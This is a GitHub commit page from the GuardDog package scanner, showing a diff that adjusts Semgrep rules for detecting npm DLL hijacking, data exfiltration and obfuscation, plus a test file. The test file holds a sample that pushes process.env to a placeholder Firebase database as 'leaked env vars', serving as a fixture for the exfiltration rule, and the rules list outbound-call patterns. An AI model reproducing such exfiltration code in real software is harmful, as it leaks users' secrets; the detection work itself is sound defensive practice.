Skip to content

Commit

Permalink
fixed pending cases
Browse files Browse the repository at this point in the history
  • Loading branch information
sobregosodd committed Jan 13, 2025
1 parent 0e3142f commit 57cffa8
Show file tree
Hide file tree
Showing 4 changed files with 7 additions and 9 deletions.
2 changes: 0 additions & 2 deletions guarddog/analyzer/sourcecode/npm-dll-hijacking.yml
Original file line number Diff line number Diff line change
Expand Up @@ -86,5 +86,3 @@ rules:
- focus-metavariable: $DLL

severity: WARNING
options:
symbolic_propagation: true
Original file line number Diff line number Diff line change
Expand Up @@ -84,12 +84,14 @@ rules:
- pattern: $HTTP. ... .request(...)
- pattern: $HTTP. ... .get(...)
- pattern: $HTTP. ... .post(...)
- pattern: $HTTP. ... .push(...)
- pattern: |
$FIRE=$HTTP.child(...)
...
$FIRE.push(...)
- pattern: $HTTP. ... .write(...)
- pattern: $HTTP(...)
languages:
- javascript
- typescript
severity: WARNING
options:
symbolic_propagation: true

2 changes: 0 additions & 2 deletions guarddog/analyzer/sourcecode/npm-obfuscation.yml
Original file line number Diff line number Diff line change
Expand Up @@ -60,5 +60,3 @@ rules:
languages:
- javascript
severity: WARNING
options:
symbolic_propagation: true
4 changes: 2 additions & 2 deletions tests/analyzer/sourcecode/npm-exfiltrate-sensitive-data.js
Original file line number Diff line number Diff line change
Expand Up @@ -66,17 +66,17 @@ function f(){
function f(){
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
// ruleid: npm-exfiltrate-sensitive-data
var dbRef = ref.child("env_vars");
dbRef.push({status : "leaked env vars", message : process.env}, clean());

}

function f(){
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
// ok: npm-exfiltrate-sensitive-data
var dbRef = ref.child("env_vars");
dbRef.push({status : "leaked env vars", message : "anymsg"}, clean());

}
Expand Down

0 comments on commit 57cffa8

Please sign in to comment.